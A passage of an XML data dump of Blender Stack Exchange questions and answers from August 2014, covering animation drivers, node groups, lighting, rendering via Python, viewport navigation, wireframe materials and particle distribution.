note about the bullets is that they're dropping as they follow the empty. All I did was create a driver that calculates the &lt;a href=&quot;https://en.wikipedia.org/wiki/Trajectory_of_a_projectile&quot; rel=&quot;nofollow noreferrer&quot;&gt;trajectory of the projectile&lt;/a&gt; using the Y position of the empty for the current distance. Because it was long (and hard to type into the &lt;code&gt;expr&lt;/code&gt; bar), I just put it in a Python script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r00Ow.png&quot; alt=&quot;python code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all you have to do in the &lt;code&gt;expr&lt;/code&gt; box is put: &lt;code&gt;calc_path(x, ang, height, velocity)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the bullets are set to be animated rigid bodies. That way they can interact with the other rigid bodies in the scene. When I wanted them to simulate and bounce around on the ground, I simply animated the &lt;code&gt;animated&lt;/code&gt; attribute in the rigid body settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/adaQB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result isn't completely elegant, but it certainly does cut down on the amount of animation you have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in dissecting the .blend yourself, you can &lt;a href=&quot;http://www.pasteall.org/blend/30997&quot; rel=&quot;nofollow noreferrer&quot;&gt;download it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-08-15T18:14:08.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15028" PostTypeId="1" CreationDate="2014-08-15T18:19:52.090" Score="4" ViewCount="329" Body="&lt;p&gt;I have a question concerning node groups and animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a project in two files, both containing node animations. But, how can I merge the two node configurations together?. Of course I can re-create the node circuit manually in blend2; So I did. But then I thought there had to be a better way to do this, and the words &lt;em&gt;Group&lt;/em&gt; and &lt;em&gt;Append&lt;/em&gt; came to mind. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The appending process worked; but to my surprise, when I connect the appended group to the node circuit of blend2, everything works except for the animation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any specific step or configuration required to append the actual animation together with the rest of the imported node configuration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though my question is generic, the two blends are available (if required).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for all your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sept &lt;/p&gt;&#xA;" OwnerUserId="5606" LastEditorUserId="12" LastEditDate="2014-08-15T18:32:30.940" LastActivityDate="2015-02-11T22:46:42.900" Title="Animation not working after appending node group" Tags="&lt;animation&gt;&lt;nodes&gt;&lt;append&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15029" PostTypeId="2" ParentId="15028" CreationDate="2014-08-15T18:24:55.387" Score="1" Body="&lt;p&gt;The animation data is getting ported with the node group, just not applied. You can import a whole scene and it will work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;No solution has been found to re-link the animation data.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-08-15T18:54:36.337" LastActivityDate="2014-08-15T18:54:36.337" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15030" PostTypeId="1" AcceptedAnswerId="15032" CreationDate="2014-08-15T19:14:26.663" Score="3" ViewCount="1470" Body="&lt;p&gt;I have imported a .3ds model into my scene, and applied the textures which are UV mapped. The model renders ok except it is not affected by any lights I place in the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to have a number of lights and the shading of the model to look as it should. Is this not possible with such textures?&#xA;When rendering with 'foreground' selected the result is very dark as shown:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1k5dV.png&quot; alt=&quot;Foreground render too dark&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render with 'background' selected this is the result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tVNOq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a sun above the model and a hemi lamp very close to the right-hand wall but this seems to have no effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on this would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the .blend file: &lt;a href=&quot;https://www.dropbox.com/s/qujhazkc668r64q/Test%201%2014-08-14.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/qujhazkc668r64q/Test%201%2014-08-14.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5628" LastEditorUserId="5628" LastEditDate="2014-08-15T19:24:56.010" LastActivityDate="2014-08-15T19:56:30.770" Title="UV mapped textures not affected by lights" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;&lt;light&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15032" PostTypeId="2" ParentId="15030" CreationDate="2014-08-15T19:44:07.343" Score="2" Body="&lt;p&gt;The issue is you're not rendering the layer with your lamps.&#xA;Your model is on both layer 1 and 11, but your lamps are only on layer 11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go into the &lt;em&gt;RenderLayers tab&lt;/em&gt;, select the foreground renderlayer and select layer 11 under &lt;em&gt;Layer&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z4gfr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-08-15T19:56:30.770" LastActivityDate="2014-08-15T19:56:30.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15033" PostTypeId="2" ParentId="15023" CreationDate="2014-08-15T19:48:03.983" Score="0" Body="&lt;p&gt;You say it takes you to a file browser screen. Change the window type to the Info type instead of File Browser in the header. If the header isn't visible, there should be &quot;+&quot; to make it visible again. Once you have the Info screen header you should be able to delete that screen layout type. Repeat as needed for other layouts.&lt;/p&gt;&#xA;" OwnerUserId="3301" LastActivityDate="2014-08-15T19:48:03.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15034" PostTypeId="1" CreationDate="2014-08-15T20:50:02.383" Score="1" ViewCount="319" Body="&lt;p&gt;I am using python script to render the image. I only want to show the IMAGE_EDITOR area( I think the rendered image gets shown in IMAGE_EDITOR area). It should show only the rendered image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I am trying to do 2 things here&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Render the image&lt;/li&gt;&#xA;&lt;li&gt;Show only the area with the image.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope I am clear on this. I tried to render image by -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for area in bpy.context.screen.areas:&#xA;    if area.type == 'INFO':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.render.render(override, use_viewport=True)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: So as iKlsR told, I used a differnt display mode. I am able to get the whole rendered image using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.display_mode = 'FULL'&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'INFO':&#xA;        override = bpy.context.copy()&#xA;        override['area'] = area&#xA;        bpy.ops.render.view_show('INVOKE_DEFAULT')&#xA;        bpy.ops.render.render(override, use_viewport=True)&#xA;        break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I need just the rendered area. Not the headers . How can I make them turn off?&lt;/p&gt;&#xA;" OwnerUserId="5473" LastEditorUserId="241" LastEditDate="2020-05-23T17:00:37.343" LastActivityDate="2020-05-23T17:00:37.343" Title="Turn off the headers for the rendered window" Tags="&lt;python&gt;&lt;rendering&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15035" PostTypeId="2" ParentId="15034" CreationDate="2014-08-15T20:59:58.913" Score="1" Body="&lt;p&gt;If I understand what you are asking, you can get the same results by choosing &lt;em&gt;New Window&lt;/em&gt; or &lt;em&gt;Fullscreen&lt;/em&gt; in the &lt;em&gt;Render&lt;/em&gt; panel under the &lt;em&gt;Display&lt;/em&gt; drop-down list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing &lt;em&gt;New Window&lt;/em&gt; will give you a tad bit more screen estate by not having the &lt;em&gt;Info&lt;/em&gt; header. Hover over the list with the current selection for the python equivalent if you want to use it in a script.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-08-15T20:59:58.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15036" PostTypeId="1" AcceptedAnswerId="15037" CreationDate="2014-08-15T21:45:30.100" Score="8" ViewCount="8697" Body="&lt;p&gt;I'm trying to animate a flag but I want to avoid using Cloth or any Physics simulation. I like the deformation I get by using a Displace modifier controlled by a procedural cloud texture. If I could animate the texture so it moves across the flag I'd be happy.&#xA;Is there a way to animate the coordinates of a procedural texture used by the displacement modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qMwrY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file &lt;a href=&quot;http://www.pasteall.org/blend/31006&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="3078" LastEditDate="2014-08-15T22:34:55.830" LastActivityDate="2019-07-21T16:02:53.157" Title="How to animate the Displacement of the Displace modifier" Tags="&lt;animation&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15037" PostTypeId="2" ParentId="15036" CreationDate="2014-08-15T21:49:29.190" Score="12" Body="&lt;p&gt;It's actually pretty easy; Just create an Empty (While in Object Mode, press &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;&gt;Empty&gt;Plain Axis), map the displacement to the Empty's Coordinates, by selecting &quot;Object&quot; for the Texture Coordinates and then select the Empty for the &quot;Object&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sA2W6.png&quot; alt=&quot;Displacement Modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then animate the Empty, the Texture will move as well, thus modifying the Displacement.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-15T21:54:48.040" LastActivityDate="2014-08-15T21:54:48.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15040" PostTypeId="1" CreationDate="2014-08-16T08:41:50.503" Score="2" ViewCount="2516" Body="&lt;p&gt;I have recently experienced two Blender functions randomly stop working, then later start working again with no apparent reason. These functions I use daily and they worked fine for weeks before I first experienced this issue. Even now they do work most of the time. I am 99% sure I do nothing that could normally cause this to happen: no settings changed, no modifier added, ect. When they stop working/start working again, I do nothing differently than when everything works fine. The functions are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snapping (to vertex). When snap to vertex stopped working I found that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;only increment works, snap to anything else doesn't,&lt;/li&gt;&#xA;&lt;li&gt;saving and restarting Blender/computer did not help,&lt;/li&gt;&#xA;&lt;li&gt;when I continued working after snapping stopped, after about 10-15 minutes snapping started to work again with no apparent reason.&lt;/li&gt;&#xA;&lt;li&gt;saving, starting a new default scene and appending the object I was working on did help: snapping worked again. Saving, then opening the original scene and appending back the object worked: snapping worked, but stopped working again after a short time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Custom keyboard shortcut.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I set &quot;0&quot; to toggle edit/object mode and it worked fine for weeks. When it randomly stopps working I can still go into edit/object mode by clicking on the toolbar buttons, but the key &quot;0&quot; does nothing. I checked my keyboard and it worked.&lt;/li&gt;&#xA;&lt;li&gt;When I continued working after keyboard shortcut function stopped, after some minutes it started to work again with no apparent reason.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I use Blender 2.70&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Has anybody experienced the same thing and found a way to solve it?&lt;/li&gt;&#xA;&lt;li&gt;Is this issue known? (I searched and found one single person experiencing the same issue, reporting it to developers, but when he tried to reproduce the problem, it wasn't there...)&lt;/li&gt;&#xA;&lt;li&gt;What happens when a bug can not be reproduced although it obviousely exists? (I somewhat understand the need that a bug should be possible to reproduce before it is being taken care of, but surely there is a way of handling bugs that by nature can not be reproduced, since they seem to randomly come and go?)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5200" LastEditorUserId="5200" LastEditDate="2014-08-19T11:18:46.093" LastActivityDate="2014-08-19T11:18:46.093" Title="Blender functions that randomly stop working then start working again" Tags="&lt;shortcut&gt;&lt;snapping&gt;" AnswerCount="0" CommentCount="13" FavoriteCount="1" ClosedDate="2014-08-17T10:48:27.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="15041" PostTypeId="1" CreationDate="2014-08-16T08:57:31.490" Score="2" ViewCount="1343" Body="&lt;p&gt;I have Python scripts that generate shapes and every time I run the script I want Blender to zoom in to the new objects in my 3D view, automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that you can select everything with the &lt;kbd&gt;A&lt;/kbd&gt; or the following python snippet: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.select_all(action='TOGGLE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The info view gives me this snippet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/npnkB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working from a laptop so to toggle the perspective such that I can view everything that is selected I would press the &lt;kbd&gt;\&lt;/kbd&gt; button. How would I do this programmatically in Python? Also, why is the Python command for this not showing in the info view? &lt;/p&gt;&#xA;" OwnerUserId="5349" LastEditorUserId="3078" LastEditDate="2014-08-17T10:46:35.390" LastActivityDate="2014-10-16T11:41:32.907" Title="Zoom in to all objects in view using Python" Tags="&lt;python&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15042" PostTypeId="1" AcceptedAnswerId="15059" CreationDate="2014-08-16T10:41:00.770" Score="3" ViewCount="416" Body="&lt;p&gt;I'm trying to move between slow motion and normal motion on a video/audio strip smoothly, but am having problems animating this.  I've tried &lt;a href=&quot;https://blender.stackexchange.com/questions/1053/how-do-i-animate-time&quot;&gt;Individual objects and Entire scene and Time Remapper addon &lt;/a&gt; but cannot get it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try using the NLA editor for to control the speed of an individual video strip, i dont seem to find the check box Animated Strip Time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to see a video screen cast of how one does this on a video strip.&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="6076" LastEditDate="2017-04-19T05:19:27.627" LastActivityDate="2017-04-19T05:19:27.627" Title="How does one animate time in the VSE?" Tags="&lt;animation&gt;&lt;video-sequence-editor&gt;&lt;nla-editor&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15043" PostTypeId="1" CreationDate="2014-08-16T11:36:38.553" Score="6" ViewCount="2939" Body="&lt;p&gt;Is it possible to disable camera motion blur for certain objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The motion blur checkbox in the object properties only seems to affect object motion and deformation? But if the camera moves the object still is blurry.&lt;/p&gt;&#xA;" OwnerUserId="1027" LastActivityDate="2014-12-05T20:21:35.220" Title="Cycles - camera motion blur only on certain objects?" Tags="&lt;cycles-render-engine&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15044" PostTypeId="1" AcceptedAnswerId="15058" CreationDate="2014-08-16T12:56:25.913" Score="11" ViewCount="6533" Body="&lt;p&gt;I'm trying to get my hair particles to distribute evenly across a surface of a object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that there's only three ways to distribute particles: &lt;em&gt;Verts&lt;/em&gt;, &lt;em&gt;Faces&lt;/em&gt;, and &lt;em&gt;Volume&lt;/em&gt;. My mesh surface is not even in terms of vertices or faces, and volume just makes the objects go inside my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rsx7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="599" LastEditDate="2014-08-16T18:35:44.000" LastActivityDate="2021-01-31T21:03:32.277" Title="Even hair particle distribution" Tags="&lt;particles&gt;" AnswerCount="4" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15045" PostTypeId="1" AcceptedAnswerId="15046" CreationDate="2014-08-16T14:47:32.330" Score="50" ViewCount="34750" Body="&lt;p&gt;I would like to align the view straight on to a face, perpendicular to the normal. How do I align the 3D viewport to the face of a mesh?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="2217" LastEditDate="2015-07-22T15:09:59.740" LastActivityDate="2019-09-10T13:58:01.310" Title="How do I align the viewport to a face normal?" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="15046" PostTypeId="2" ParentId="15045" CreationDate="2014-08-16T15:04:15.447" Score="63" Body="&lt;p&gt;In edit mode with a face selected press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 7&lt;/kbd&gt; That will align the view to the &lt;a href=&quot;https://blender.stackexchange.com/a/21050/2217&quot;&gt;active&lt;/a&gt; face.&lt;br&gt;&#xA;If you want to align the view to a different axis relative to the face, &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 1&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 3&lt;/kbd&gt; can be used. &lt;kbd&gt;Ctrl&lt;/kbd&gt; can be added to any of the key combinations to invert the view.&lt;br&gt;&#xA;For example, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;NumPad 7&lt;/kbd&gt; will look at the &quot;back&quot; of a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For those of you without a numpad the same can be accessed through the menu.&lt;br&gt;&#xA;From the 3D view header &lt;em&gt;View&lt;/em&gt; &gt; &lt;em&gt;Align View&lt;/em&gt; &gt; &lt;em&gt;Align View to Active&lt;/em&gt;. Then pick the orientation you want (&lt;em&gt;Top&lt;/em&gt; is used the most).&#xA;&lt;img src=&quot;https://i.stack.imgur.com/47TJA.png&quot; alt=&quot;view menu&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do note that there can be faces that are not flat. In such cases the view will be aligned to the face, but any manipulation will warp the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This answer is valid for blender version 2.50 and up (including 2.8). For the 2.4 series the shortcut was &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;V&lt;/kbd&gt;, but I doubt you wanted to know that.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2019-09-10T13:58:01.310" LastActivityDate="2019-09-10T13:58:01.310" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15047" PostTypeId="2" ParentId="15044" CreationDate="2014-08-16T15:26:54.130" Score="1" Body="&lt;p&gt;If you set the distribution to random, and check the random check box, they will spread out evenly. When it is set to jittered, each face gets the same number of particles. The only way to spread them out in jittered is to have all your faces be the same size.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-16T15:26:54.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15049" PostTypeId="1" AcceptedAnswerId="15051" CreationDate="2014-08-16T18:37:39.087" Score="11" ViewCount="10109" Body="&lt;p&gt;How do I rotate the viewport around the local (to the view port) - Z axis?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what you would  get if you were to hit &lt;kbd&gt;R&lt;/kbd&gt; with the camera selected in camera view.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-08-16T18:48:59.687" LastActivityDate="2020-11-29T12:59:19.487" Title="How to roll the viewport?" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15050" PostTypeId="2" ParentId="15049" CreationDate="2014-08-16T18:37:39.087" Score="9" Body="&lt;p&gt;One non optimal method is to bring the camera to the viewport(&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Numberpad 0&lt;/kbd&gt;), select the camera and hit &lt;kbd&gt;R&lt;/kbd&gt;. This isn't the neatest method, but it still works. It also offers to the degree precision. once positioned, you can delete the camera if it bugs you. see &lt;a href=&quot;https://blender.stackexchange.com/questions/15052/how-do-i-un-roll-the-viewport&quot;&gt;this question&lt;/a&gt; on how to &quot;un-roll&quot; the viewport once you're done.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-08-27T19:48:04.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15051" PostTypeId="2" ParentId="15049" CreationDate="2014-08-16T18:40:31.727" Score="17" Body="&lt;p&gt;You can press &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1vyT.png&quot; alt=&quot;MW&quot; title=&quot;Mouse Wheel&quot;&gt; ScrollWheel&lt;/kbd&gt;, or &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 4&lt;/kbd&gt; and &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;Numpad 6&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Currently the scrollwheel binding doesn't exist in 2.8, however you can add it back yourself. Under &lt;em&gt;User Preferences &gt; Input &gt; 3D View &gt; 3D View (Global)&lt;/em&gt;, press &lt;em&gt;Add New&lt;/em&gt; and set the operator to &lt;code&gt;view3d.view_roll&lt;/code&gt;. Create a binding for both left and right:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rKyjE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rKyjE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-05-05T19:20:21.480" LastActivityDate="2019-05-05T19:20:21.480" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="15052" PostTypeId="1" AcceptedAnswerId="15053" CreationDate="2014-08-16T18:50:00.513" Score="2" ViewCount="551" Body="&lt;p&gt;Lets say that I've rolled the view port with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/v1vyT.png&quot; alt=&quot;MW&quot; title=&quot;Mouse Wheel&quot;&gt; Scrollwheel&lt;/kbd&gt;, and now want to get it back to its original orientation. How do I do that?&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="599" LastEditDate="2014-08-16T18:54:37.397" LastActivityDate="2014-08-16T18:54:37.397" Title="How do I &quot;un-roll&quot; the viewport?" Tags="&lt;workflow&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15053" PostTypeId="2" ParentId="15052" CreationDate="2014-08-16T18:50:00.513" Score="3" Body="&lt;p&gt;Hit &lt;kbd&gt;Numpad 7,3 or 1&lt;/kbd&gt;. When you navigate out of the view, it will be reset.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastActivityDate="2014-08-16T18:50:00.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15055" PostTypeId="1" AcceptedAnswerId="15056" CreationDate="2014-08-16T19:16:21.370" Score="4" ViewCount="461" Body="&lt;p&gt;Why does the wire-frame material fades across the object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I did - I created a new material and I selected on &quot;Wire&quot; and I made it shadeless. Then, I created a new material and assigned the new material on the on the object. However, doing it that way, it allows me to render both materials - &quot;Wire&quot; and &quot;Surface&quot;. Then I get a fading result like this - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/YnVqi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I want all of the edges to be shown, not a fading result. How can I make that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file if anybody wants to check it out - &#xA;&lt;a href=&quot;http://www.pasteall.org/blend/31021&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/31021&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-08-16T19:22:38.440" LastActivityDate="2014-08-16T19:27:35.457" Title="Why does the wire-frame material fades across the object?" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;wireframe&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15056" PostTypeId="2" ParentId="15055" CreationDate="2014-08-16T19:27:35.457" Score="3" Body="&lt;p&gt;Enable Z transparency and increase the Z offset:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oQ2cj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-08-16T19:27:35.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15057" PostTypeId="2" ParentId="15044" CreationDate="2014-08-16T20:30:51.420" Score="3" Body="&lt;p&gt;Independently from the shape of your mesh you could achieve a more even distribution of particles by creating multiple particle systems. First you would create multiple &lt;em&gt;Vertex Groups&lt;/em&gt; based on the area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g this mesh has very small faces, medium and larger faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FfD5I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Decide how many particle systems you need.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a face with a typical area size, add others with &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; &lt;em&gt;Area&lt;/em&gt; add them to a vertex group&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat the process for all required &lt;em&gt;Vertex Groups&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the same number of &lt;em&gt;particle systems&lt;/em&gt; as you have vertex groups and assign them as &lt;em&gt;Density&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Adjust the number of created particles until you're satisfied.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here the numbers are 150 (outer), 43 and 22 (inner ring)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/amA7N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also influence the emission by weight painting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f9h29.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Testfile &lt;a href=&quot;http://pasteall.org/blend/31025&quot; rel=&quot;nofollow 